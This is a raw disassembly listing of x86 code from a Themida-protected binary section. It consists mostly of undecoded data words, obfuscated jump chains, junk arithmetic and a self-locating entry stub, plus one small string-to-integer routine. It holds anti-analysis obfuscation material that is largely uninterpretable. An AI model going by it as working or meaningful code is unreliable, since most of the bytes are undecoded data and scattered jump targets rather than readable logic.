		dd 0C98D8D06h, 0B8060678h, 748323BCh, 730CF2Bh,	4947C8D0h
		dd 585EF875h, 2C8DBD83h, 74000606h, 0B18D8B06h,	33060617h
		dd 0B8C9h, 0C00B0000h, 99840Fh,	0BD830000h, 6062F9Dh, 0FF067400h
		dd 6223D95h, 0B806h, 0C00B0000h, 0BD830975h, 6064E6Ch
		dd 83097401h, 64E6CBDh,	0E750206h, 4E64B58Bh, 858D0606h
		dd 608A49Ah, 858DD0FFh,	60642CAh, 0BD83D0FFh, 6062435h
		dd 8B2F7502h, 6204DA5h,	8D858B06h, 8906062Ch, 85C72404h
		dd 6061529h, 1,	4E68B58Bh, 0AD8B0606h, 6060E09h, 1B8h
		dd 0CC200h, 85C700EBh, 6061529h, 1, 204DA58Bh, 0B58B0606h
		dd 6062921h, 0E09AD8Bh,	0C0330606h, 83000CC2h, 626B9BDh
		dd 0F740006h, 30C9BD83h, 74000606h, 0C995FF06h,	8B060630h
		dd 64E64B5h, 6AC306h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0BB6619C3h, 0BD89B076h, 6062E15h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 95C35242h
		dd 52C38BD4h, 2D03C2F4h, 0ED9D8B24h, 0BA060614h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 38C35646h
		db 20h,	6, 8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_54BE5F
; ---------------------------------------------------------------------------

loc_54BE5D:				; CODE XREF: Themida_:0054BE62j
		inc	eax
		inc	edi

loc_54BE5F:				; CODE XREF: Themida_:0054BE5Bj
		cmp	byte ptr [edi],	0
		jnz	short loc_54BE5D
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_54BE8E
; ---------------------------------------------------------------------------

loc_54BE6B:				; CODE XREF: Themida_:0054BE90j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_54BE83
; ---------------------------------------------------------------------------

loc_54BE80:				; CODE XREF: Themida_:0054BE86j
		mul	ebx
		dec	esi

loc_54BE83:				; CODE XREF: Themida_:0054BE7Ej
		cmp	esi, 0
		ja	short loc_54BE80
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax

loc_54BE8E:				; CODE XREF: Themida_:0054BE69j
		or	eax, eax
		jnz	short loc_54BE6B
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 4C35545h
		dd 0B5018235h, 6061755h, 0FC98529h, 0C18B0606h,	22031E9h
		dd 5B615200h, 5B664400h, 12FF6800h, 5B664400h, 0
		dd 5A003F00h, 5A002802h, 24602h, 200h, 2 dup(100h), 4E443100h
		dd 0FAh, 4 dup(0)
		dd 55238900h, 55049C00h, 5559EA00h, 5542B400h, 5578FE00h
		dd 54EAFF00h, 550AC700h, 54FFEB00h, 55316500h, 54FFA700h
		dd 551D9600h, 55748400h, 54D06800h, 555CDA00h, 5536A000h
		dd 54E4CC00h, 54C7D500h, 54E9A100h, 55817700h, 54DABB00h
		dd 54C7C500h, 5535A100h, 54DC4A00h, 551B8E00h, 54EF7400h
		dd 556BF400h, 551D6400h, 54DC2C00h, 5529FE00h, 55430600h
		dd 54FDD700h, 54CBB900h, 55160700h, 54D37400h, 557FC200h
		dd 54DA3000h, 5508D900h, 555B3200h, 55232700h, 557AF000h
		dd 55192400h, 54E77000h, 552EAA00h, 55182E00h, 551CA800h
		dd 554ADD00h, 55584F00h, 55190700h, 54DA9C00h, 54E32900h
		dd 55006700h, 55747700h, 54E51C00h, 55164000h, 557A5700h
		dd 5563E400h, 54CF4500h, 55280800h, 54FEB300h, 5562ED00h
		dd 54FE9600h, 54ED3700h, 5538DF00h, 55523F00h, 54EE6400h
		dd 5552D500h, 55225100h, 54CD8800h, 55005000h, 55763E00h
		dd 5567FA00h, 55068500h, 54F90400h, 5520E000h, 54E45600h
		dd 551BFA00h, 553B3400h, 54F2E900h, 5570FE00h, 54EF5B00h
		dd 55204000h, 55449200h, 54EA4300h, 5510FB00h, 5519DC00h
		dd 5519BD00h, 54CD1000h, 54D66B00h, 553FF400h, 553B6B00h
		dd 5502CA00h, 54CE5700h, 54CBAE00h, 55294200h, 54E8A700h
		dd 55380D00h, 55734700h, 54EB5900h, 554C8D00h, 54F03F00h
		dd 54F95800h, 5535AC00h, 55316D00h, 556F8C00h, 5511ED00h
		dd 5539B900h, 55566400h, 54FB0400h, 54C9A000h, 54D4FD00h
		dd 5549C300h, 550E6400h, 55544B00h, 552BFD00h, 55084900h
		dd 5578F600h, 54FD2800h, 556DCC00h, 55183D00h, 553F5E00h
		dd 554A3500h, 550F4400h, 555C9D00h, 550D9F00h, 5581A500h
		dd 5506FA00h, 54F07C00h, 55410200h, 54DC0C00h, 5570DB00h
		dd 5576AA00h, 553D3500h, 54FF1000h, 54C40300h, 54D55600h
		dd 55751A00h, 555F8900h, 5526B400h, 55398500h, 55604C00h
		dd 54E75E00h, 54FE0D00h, 554F7F00h, 55718900h, 550CE800h
		dd 54F70A00h, 554F4600h, 551D8700h, 553EBD00h, 5525F500h
		dd 54DDCC00h, 54C35300h, 552EE700h, 55601A00h, 551C0100h
		dd 54F3A600h, 557EDF00h, 54D08B00h, 54DA9100h, 54DE5900h
		dd 54FC3800h, 5540BB00h, 55457B00h, 54C8E100h, 5560F700h
		dd 55032300h, 54E79700h
		db 0
; ---------------------------------------------------------------------------

loc_54C1AD:				; CODE XREF: Themida_:005789A4j
					; Themida_:0057B1BDj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6067D84h
		mov	eax, edi
		add	edi, 6067A9Ch
		cmp	eax, [edi+2Ch]
		jnz	short loc_54C1CB
		jmp	short loc_54C1DE
; ---------------------------------------------------------------------------

loc_54C1CB:				; CODE XREF: Themida_:0054C1C7j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_54C1DA
; ---------------------------------------------------------------------------

loc_54C1D5:				; CODE XREF: Themida_:0054C1DCj
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_54C1DA:				; CODE XREF: Themida_:0054C1D3j
		or	ecx, ecx
		jnz	short loc_54C1D5

loc_54C1DE:				; CODE XREF: Themida_:0054C1C9j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_54C1EB:				; CODE XREF: Themida_:0054C1F2j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_54C1EB

loc_54C1F4:				; CODE XREF: Themida_:loc_54C259j
					; Themida_:0054D1C4j ...
		lodsb
		jmp	loc_54F234
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 0E9000000h, 3ED8h
; ---------------------------------------------------------------------------

loc_54C208:				; CODE XREF: Themida_:00557A15j
		push	41DDh
		mov	[esp], eax
		push	5910h
		mov	[esp], ebx
		jmp	loc_551434
; ---------------------------------------------------------------------------

loc_54C21D:				; CODE XREF: Themida_:0055330Dj
		mov	[esp], edx
		push	ebx
		mov	bl, 0AAh
		push	ecx
		mov	cl, bl
		mov	dl, cl
		pop	ecx
		pop	ebx
		push	ax
		jmp	loc_55018F
; ---------------------------------------------------------------------------
		db 0B5h, 0D8h, 88h
		dd 0C7FE59EFh, 2C8BB050h, 648EE9B1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C242:				; CODE XREF: Themida_:005577EDj
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edi
		jmp	loc_5576D9
; ---------------------------------------------------------------------------
		dd 9C242CD2h, 0F4FE9h
		db 0
; ---------------------------------------------------------------------------

loc_54C259:				; CODE XREF: Themida_:00556178j
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------

loc_54C25E:				; CODE XREF: Themida_:00553EB1j
		xchg	ebp, [esp]
		jmp	loc_54EADA
; ---------------------------------------------------------------------------
		dw 15Eh
		dd 0A5F6E9C6h, 0E9550000h, 72B4h, 34FFDE30h, 241C8B24h
		dd 6804C483h, 0BD9h, 89241489h,	4C281E2h, 50000000h, 2854E9h
		dd 81FD0100h, 34455AC5h, 2434FF3Ch, 4C4815Fh, 0C1000000h
		dd 0BB5302EDh, 57086A2Eh, 0E3C1DBF7h, 98BF5702h, 0F774B41Fh
		dd 5FB7E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C2C2:				; CODE XREF: Themida_:0054F525j
		push	6F7Ah
		mov	[esp], esi
		jmp	loc_5530AA
; ---------------------------------------------------------------------------

loc_54C2CF:				; CODE XREF: Themida_:00558307j
		mov	eax, ecx
		jmp	loc_54D2B7
; ---------------------------------------------------------------------------

loc_54C2D6:				; CODE XREF: Themida_:005506E1j
		neg	eax
		jmp	loc_550C9F
; ---------------------------------------------------------------------------

loc_54C2DD:				; CODE XREF: Themida_:0054D6A2j
		mov	ecx, [esp]
		jmp	loc_54E74D
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 78E90000h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C2EF:				; CODE XREF: Themida_:005559E5j
		shr	bp, 3
		and	bp, 458Ah
		add	bp, 6A99h
		add	bp, 0EF3Eh
		sub	dx, bp
		pop	ebp
		xor	cx, dx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	si, 43A8h
		neg	si
		shl	si, 1
		neg	si
		shr	si, 1
		jmp	loc_553403
; ---------------------------------------------------------------------------

loc_54C328:				; CODE XREF: Themida_:005548D0j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_557DEB
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0BF01DB44h, 77E9DD29h, 54000047h, 0ABBE9h, 8B9A2D00h
		dd 3CE9F90Ch, 0FF000005h, 48B2434h, 54EAE924h, 4CBB0000h
		dd 0F700AD57h, 1DE94BD3h, 0BB0000A0h, 548D7D56h, 8105E3C1h
		dd 4ECh, 24048900h, 505544B8h, 58C3016Eh, 51E9DD29h, 5700001Ah
		dd 7559C868h, 0BD57E96Ah, 895C0000h, 6D68243Ch,	89000067h
		dd 4832424h, 3C8B0424h,	4C48324h, 4C781h, 0C7810000h, 4
		dd 61C6E957h, 0FD010000h, 81243C8Bh, 4C4h, 9CE95300h, 68FFFFFFh
		dd 2693h, 89241489h, 675BE9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C3DE:				; CODE XREF: Themida_:005525F0j
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_54E6AE
; ---------------------------------------------------------------------------
		dd 5AD1085Bh, 80A8B353h, 0E3C005F3h, 80CBFE08h,	85E944EBh
		dd 6600006Bh, 0E9240C8Bh, 9260h, 0DA68D031h, 89000044h
		dd 82BB241Ch, 212D1754h, 33DDE9D8h, 14890000h, 0D1685124h
		dd 5978225Bh, 5BD5F181h, 81517822h, 3E26242Ch, 815A560Bh
		dd 0B3E26C2h, 6C2E956h,	0EF810000h, 4, 5C243C87h, 5B8EE9h
		dd 5A8AB900h, 1FE97F5Ah, 1000068h, 0BD555FFAh, 4, 875DEA29h
		dd 0B5E92414h, 0C1000066h, 0F68106EEh, 2E5F7DC9h, 8104E6C1h
		dd 5D6D0EF6h, 0B7EE811Fh, 8143374Dh, 8955EC6h, 521B2D87h
		dd 0F0295116h, 16521B05h, 342AE951h, 0C5200000h, 0F6E5D058h
		dd 0DCC580D5h, 50A0C580h, 0E8D0C9B0h, 8F5DE9h, 0E3895300h
		dd 4C381h, 0F7E90000h, 0C000007Fh, 0A70C06E0h, 63A6E9h
		dd 0E9505B00h, 8C07h, 83242489h, 58042404h, 405h, 20500h
		dd 0FF500000h, 0FF042474h, 48B2434h, 4C48124h, 52000000h
		dd 67E9E289h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C503:				; CODE XREF: Themida_:0054D04Cj
		sub	edx, ebp
		pop	ebp
		jmp	loc_555A96
; ---------------------------------------------------------------------------
		db 31h
		dd 2434FFE8h, 8AFEE9h, 64CDBA00h, 0C2811FFCh, 17C546E0h
		dd 2401BD55h, 0DDF7220Ch, 4505EDC1h, 8A2FC581h,	0EA312EE5h
		dd 0BFCAE9h, 0E9C83100h, 210h, 592434FFh, 4C481h, 68530000h
		dd 11A4h, 83242489h, 5B042404h,	4C381h,	0F4680000h, 89000046h
		dd 0CBE92434h, 100004Ch, 0B3C181E9h, 0E9622729h, 31F4h
		dd 468h, 240C8B00h, 4C481h, 0CF010000h,	83240C8Bh, 0C78104C4h
		dd 2, 585E957h,	0C7810000h, 1CA9B785h, 895FF829h, 0CD8158C5h
		dd 5A1B2AADh, 5221BA52h, 0D2F77BF5h, 0D019C281h, 0D521BABAh
		dd 70B0E9h, 7DE95300h, 5700008Fh, 6264E9h, 59CF8900h, 213968h
		dd 24048900h, 202B08B8h, 25A70D5Ch, 82350142h, 2D55D047h
		dd 3B554B95h, 0C642BA52h, 0D0297A81h, 5ABEE9h, 0E9D80100h
		dd 0B3FBh, 476D3548h, 0C2816F75h, 47604AA2h, 0EA81C201h
		dd 47604AA2h, 4EF7E9h, 78EF8100h, 0E9F17AE4h, 404Bh, 15547868h
		dd 81575F45h, 4CE2242Ch, 815B2B86h, 864CE2C3h, 6BE95F2Bh
		dd 0C10000A0h, 0C98107E9h, 58AD5525h, 0F8BBF181h, 0CF892C64h
		dd 0F336859h, 0C890000h, 4EC8324h, 0E9241489h, 0B24Bh
; ---------------------------------------------------------------------------

loc_54C664:				; CODE XREF: Themida_:00551FB1j
		mov	ecx, eax
		jmp	loc_54F5CC
; ---------------------------------------------------------------------------
aSJ		db ']éÖ†',0
		dd 85C28100h, 815C1914h, 617651C2h, 2434FF37h, 4C48159h
		dd 87000000h, 248B2414h, 0B60F6624h, 4EC83C8h, 68241489h
		dd 2487h, 51242489h, 4B9h, 4DB6E900h, 32BB0000h, 0E92DE46Eh
		dd 92FAh, 5437E981h, 0C1813798h, 50596D97h, 240C335Ah
		dd 0DCBE9h, 1EC8BB00h, 0C9E91FB5h, 66000033h, 8BD83059h
		dd 0C481241Ch, 4, 4EC8152h, 0E9000000h,	0BCA3h,	25E9D101h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C6F3:				; CODE XREF: Themida_:0054F882j
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		mov	ecx, 33EF6648h
		add	ecx, 0CC1099BCh
		add	ebp, ecx
		jmp	loc_5506DA
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 9Ch
		dd 0C156730Ch, 0A2E903EBh
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C717:				; CODE XREF: Themida_:00552F26j
		shr	esi, 2
		sub	esi, 0F46C4BCh
		mov	ecx, esi
		pop	esi
		add	ebp, ecx
		jmp	loc_556117
; ---------------------------------------------------------------------------
		dw 45B8h
		dd 2D59C83Ch, 2CCD057Dh, 0FB36CC35h, 58C7012Ch,	6F0D68h
		dd 24048900h, 3A66BB53h, 0E9537293h, 7DC8h, 103BE959h
		dd 80580000h, 0D820D2EBh, 0CCB5515Bh, 2BBE9h, 56415B00h
		dd 0B53A8BEh, 2F68163h,	8162E71Eh, 0E30B84F6h, 0E8E6816Bh
		dd 0C115AF01h, 814E02E6h, 0A923A3F6h, 0E9F1095Fh, 1027h
; ---------------------------------------------------------------------------

loc_54C790:				; CODE XREF: Themida_:0054F13Aj
		or	ebx, 68414A6h
		push	edx
		mov	edx, 0C838605Eh
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ebp, ebx
		pop	ebx
		jmp	loc_55774B
; ---------------------------------------------------------------------------

loc_54C7AC:				; CODE XREF: Themida_:00554DB1j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 1AB604E8h
		or	eax, ebp
		jmp	loc_54D0C7
; ---------------------------------------------------------------------------
aNwqwphXgxsmb	db '­WQWPhÍ&•GXéMb',0
		dd 48B6600h, 32E96824h,	5DE90000h, 2900005Bh, 0C6015FFEh
		dd 2D1C681h, 815828A7h,	2C6h, 4EC8300h,	0FF243489h, 8B042474h
		dd 6FE92434h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C807:				; CODE XREF: Themida_:005547BBj
		mov	esp, [esp]
		jmp	loc_554E2C
; ---------------------------------------------------------------------------
		db 0BAh
		dd 754357E2h, 0F82E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C819:				; CODE XREF: Themida_:0054D39Fj
		shl	edx, 1
		sub	edx, 1C427456h
		add	eax, edx
		pop	edx
		add	[eax], ebx
		mov	eax, [esp]
		add	esp, 4
		pop	ebx

loc_54C830:				; CODE XREF: Themida_:loc_54F0BDj
					; Themida_:00556441j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		jmp	loc_550E22
; ---------------------------------------------------------------------------
		dw 0E968h
		dd 89000021h, 74FF241Ch, 1C8B0424h, 4C48324h, 5C24048Fh
		dd 4AB0F66h, 91E99C24h,	8BFFFFF9h, 0C4812404h, 4, 0E9E68956h
		dd 7C6Ah
; ---------------------------------------------------------------------------

loc_54C874:				; CODE XREF: Themida_:0055606Dj
		push	dword ptr [esp]
		jmp	loc_54E9E7
; ---------------------------------------------------------------------------
aS_5		db '(Âé>',0Dh,0
		dw 8300h
		dd 1C8704C3h, 5BE95C24h, 55000085h, 55ABE9h, 27C38100h
		dd 57775826h, 0FB5A30BFh, 0E5C7814Dh, 81337F70h, 0C44E74E7h
		dd 68F7814Ah, 0C1343F6Eh, 1AE908E7h, 29000080h,	4875DE8h
		dd 5E13E924h, 0DD010000h, 0AC5815Bh, 0E9066AEBh, 5274h
		dd 0FE58E188h, 8E9C0C9h, 3089E9h, 28F6400h, 0FFF90BE9h
		dd 0D3E380FFh, 62F9E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C8F1:				; CODE XREF: Themida_:0055284Bj
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 535C093Eh
		shr	ebp, 5
		add	ebp, 40183D44h
		push	eax
		jmp	loc_551598
; ---------------------------------------------------------------------------

loc_54C90C:				; CODE XREF: Themida_:005514ECj
		pop	ecx
		push	2173h
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_55756D
; ---------------------------------------------------------------------------

loc_54C922:				; CODE XREF: Themida_:005554A3j
		add	al, 42h
		push	ebx
		mov	bh, 22h
		jmp	loc_54F45B
; ---------------------------------------------------------------------------
		dd 5356CD80h, 60E9E6B3h, 83000004h, 8AE904ECh
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C93F:				; CODE XREF: Themida_:00552576j
		xor	edi, [esp]
		pop	esp
		shr	ecx, 2
		push	6155h
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		jmp	loc_55250C
; ---------------------------------------------------------------------------

loc_54C956:				; CODE XREF: Themida_:0054F7E5j
		sub	edx, edi
		pop	edi
		add	edx, 2D25CB3h
		not	edx
		and	edx, 641161E9h
		dec	edx
		add	edx, 13FD200Ah
		and	eax, edx
		pop	edx
		add	eax, 0EBD27EFh
		sub	edx, eax
		push	dword ptr [esp]
		jmp	loc_556625
; ---------------------------------------------------------------------------

loc_54C980:				; CODE XREF: Themida_:00550A47j
		mov	[esp], eax
		jmp	loc_5529A1
; ---------------------------------------------------------------------------
		dd 5159CA01h, 0A0CCE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C992:				; CODE XREF: Themida_:0054CFE5j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_553F07
; ---------------------------------------------------------------------------
aM0Hi		db '¬0Øh¨',0Bh,0
		align 4
		dd 50240C89h, 0C58803B0h, 5324048Bh, 20F0E9h, 0D2F74A00h
		dd 0C104EAC1h, 0EA8107EAh, 0C8971463h, 0A0A9E9h, 54B85000h
		dd 5153306h, 6A3F00B7h,	0E906E8C1h, 114Fh
; ---------------------------------------------------------------------------

loc_54C9E0:				; CODE XREF: Themida_:0055063Ej
		mov	[esp], edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1D446E9Fh
		jmp	loc_557C79
; ---------------------------------------------------------------------------
		db 68h,	6, 0Eh
aSSV		db 'è;éÞv',0
		align 10h
aQyaQaGaAq	db 'ïY€Çq€ÏG€Ï<€ï,',0
		db 0F8h
		dd 7005E95Bh, 3C890000h, 0E9C78924h, 9463h, 0E959E800h
		dd 4574h
; ---------------------------------------------------------------------------

loc_54CA28:				; CODE XREF: Themida_:005513EAj
		sub	esp, 4
		jmp	loc_5501B6
; ---------------------------------------------------------------------------

loc_54CA30:				; CODE XREF: Themida_:0054F48Dj
		mov	esp, [esp]
		push	799Ah
		mov	[esp], esi
		jmp	loc_54F86E
; ---------------------------------------------------------------------------
		dd 0D0015F5Eh, 0E9D8295Ah, 46FBh, 5C243C87h, 0E93AC380h
		dd 0B88Dh
; ---------------------------------------------------------------------------

loc_54CA58:				; CODE XREF: Themida_:00550B12j
		xor	edx, 0B2C8B9C5h
		and	edi, edx
		jmp	loc_555888
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 77h
		dd 895A56F3h, 0E9C15EF1h, 0EC815106h, 4, 81242489h, 42404h
		dd 8E90000h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54CA87:				; CODE XREF: Themida_:005578A1j
		neg	ch
		xor	ch, 0Bh
		dec	ch
		push	edx
		mov	dh, 0FCh
		xor	dh, 8Dh
		xor	dh, 6Eh
		add	dh, 0E6h
		or	ch, dh
		jmp	loc_54F7F0
; ---------------------------------------------------------------------------

loc_54CAA1:				; CODE XREF: Themida_:00553AEAj
		add	esp, 4
		push	eax
		jmp	loc_54D6DE
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 42474FFh,	9BD7E9h, 8DBD5500h, 0E97AF138h
		dd 0B315h, 7B7FE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CACA:				; CODE XREF: Themida_:0055108Fj
		xor	dh, 4Bh
		push	cx
		jmp	loc_557733
; ---------------------------------------------------------------------------
		dd 68240489h, 529Eh, 50242489h,	4B8h, 24448100h, 1A6FCE04h
		dd 246C8145h, 7D3B3304h, 2444016Ch, 33BE5604h, 16C7D3Bh
		dd 0E9082474h, 6CA1h, 57A72D59h, 0B72D569Fh, 1764329h
		dd 29B705D0h, 0FDE97643h, 0FF000075h, 0E9042474h, 6CA2h
; ---------------------------------------------------------------------------

loc_54CB28:				; CODE XREF: Themida_:0055589Ej
		sub	ebp, 48B96AEFh
		mov	eax, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_553EAB
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2434h, 4EC8124h,	89000000h, 0E789243Ch, 419E9h
		dd 66F02000h, 0E924148Bh, 0ABE3h
; ---------------------------------------------------------------------------

loc_54CB60:				; CODE XREF: Themida_:005567F5j
		pop	eax
		xor	ebp, 5D2010F3h
		mov	edi, 52E901A9h
		push	ebx
		mov	ebx, 48F852F8h
		xor	edi, ebx
		pop	ebx
		shl	edi, 5
		shl	edi, 8
		xor	edi, 476E17E9h
		sub	edi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 2D872C3Fh
		mov	edx, 0E250FA38h
		jmp	loc_554387
; ---------------------------------------------------------------------------
		dd 93FEE951h, 5F680000h, 0E900007Ah, 875Ch, 2804C483h
		dd 7603E9D8h, 8B660000h, 5455240Ch, 8612E9h, 2434FF00h
		dd 81240C8Bh, 4ECh, 241C8900h, 5220E9h,	5AD70100h, 5C243C87h
		dd 24048B66h, 56E08950h, 0EA1DEBBEh, 0D6F74E18h, 5205E6C1h
		dd 41D2E9h, 87EB8100h, 817E0724h, 8EE60DEBh, 1D5EE93Eh
		dd 525A0000h, 0C281E289h, 4, 6BF3E9h, 24148900h, 3F04B4BAh
		dd 0DAF74231h, 0E908EAC1h, 35A5h, 0E904C483h, 7EBh, 1C8BD828h
		dd 4C48124h, 0E9000000h, 1E27h,	42474FFh, 273CE9h, 0C1DEF700h
		dd 0B1E908E6h, 510000A6h, 17E9F588h, 5000041h, 4, 42Dh
		dd 24048700h, 2414895Ch, 0FFFFCFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CC69:				; CODE XREF: Themida_:00556BDCj
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, edx
		pop	edx
		xor	ebx, eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2Ch
		push	ebx
		mov	ebx, 21C12870h
		add	edx, ebx
		pop	ebx
		add	edx, edi
		push	eax
		mov	eax, 0B6767C7h
		shl	eax, 5
		sub	eax, 51E7205Bh
		push	edx
		push	edi
		jmp	loc_555441
; ---------------------------------------------------------------------------
		dw 566h
		dd 2D66735Ch, 1661CFEh,	0FE0566D8h, 6655661Ch, 66735CBDh
		dd 8B66E829h, 0C483242Ch, 1C8B6602h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		jmp	loc_551BEE
; ---------------------------------------------------------------------------
		dd 70EDBD55h, 0EDC16F56h, 19F58103h, 10DEACEh, 50E95DEBh
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_54CCEB:				; CODE XREF: Themida_:00554BCEj
		xor	eax, 1DB96938h
		mov	esi, eax
		jmp	loc_55447E
; ---------------------------------------------------------------------------
		db 66h
		dd 0B7241C89h, 66FD20E0h, 83241C8Bh, 0D06802C4h, 0E900004Ch
		dd 2E2Ah, 40D4E9ACh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CD16:				; CODE XREF: Themida_:00552F64j
		pop	ecx
		jmp	loc_554930
; ---------------------------------------------------------------------------
		dd 2424D366h, 0F4CEE99Ch, 0B951FFFFh, 4, 0B2C0E9h, 51C26800h
		dd 25E9104Ah, 83000073h, 1C8704EBh, 34895C24h, 81E68924h
		dd 4C6h, 4C68100h, 87000000h, 295C2434h, 0E99C2404h, 7BBFh
		dd 20737605h, 241C8B4Eh, 8304C483h, 40E904ECh, 88000087h
		dd 0D3F65AF3h, 29CBE9h
		db 0
; ---------------------------------------------------------------------------

loc_54CD7D:				; CODE XREF: Themida_:00552E26j
		add	dword ptr [ebx], 1
		jmp	loc_54DDF1
; ---------------------------------------------------------------------------
		dd 240C8B66h, 8904EC83h, 6BE9241Ch, 20000077h, 0E5C05BDDh
		dd 7C58004h, 0E800F104h, 2859F12Ch, 0B4CAE9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CDAE:				; CODE XREF: Themida_:0054EE4Dj
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	40h
		mov	edx, [esp]
		add	esp, 4
		and	ecx, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		jmp	loc_556D5D
; ---------------------------------------------------------------------------
		dd 5508E5C1h, 5D2414F7h, 0DDF7DDF7h, 21FFE953h,	762D0000h
		dd 0E94E2073h, 78B3h, 4C6815Eh,	0E9000000h, 4AA8h, 63FBC381h
		dd 0C3810CF1h, 0D11BB1B5h, 575BD901h, 0AB9BE9h,	0B5E95200h
		dd 2000007Bh, 0B15159CBh, 17C1804Ah, 2B12E9h, 0E9516600h
		dd 5EB3h, 4EC81h, 1C890000h, 2474FF24h,	48F5B04h, 9DE95C24h
		dd 66FFFFF3h, 5324048Bh, 9950E9h, 0CAE95300h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CE67:				; CODE XREF: Themida_:005509A5j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_551F3D
; ---------------------------------------------------------------------------
		db 52h,	53h, 0BBh
		dd 7CBB72A9h, 0CCAE9h
		db 0
; ---------------------------------------------------------------------------

loc_54CE81:				; CODE XREF: Themida_:00554417j
		mov	esi, ecx
		pop	ecx
		mov	edi, esi
		push	dword ptr [esp]
		jmp	loc_557CB8
; ---------------------------------------------------------------------------
		dw 0B168h
		dd 89000022h, 4812424h,	424h, 24348B00h, 8104C483h, 4C6h
		dd 53E95500h, 83000053h, 0C8904ECh, 5A3BB924h, 0E9C105E4h
		dd 2E9C104h, 9164E981h,	74050017h, 5579468h, 646973C5h
		dd 265E9h, 24343300h, 6624248Bh, 0E924048Bh, 0A936h, 8904EC83h
		dd 4BF243Ch, 1000000h, 6CC4E9FAh, 0EB830000h, 0BAC38101h
		dd 0C135870Fh, 0EBC105EBh, 55F4E902h, 51560000h, 0D2124AB9h
		dd 59CE896Bh, 1246EE81h, 0F7896BD2h, 74B1E9h, 4815000h
		dd 0EC280224h, 0EE815E1Ah, 1AEC2802h, 1DF7E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CF36:				; CODE XREF: Themida_:005515ADj
		push	45FFh
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_550D5F
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd offset byte_5C37E9
		dd 243C8B00h, 8904C483h, 0E3685EF2h, 89000014h,	0D789243Ch
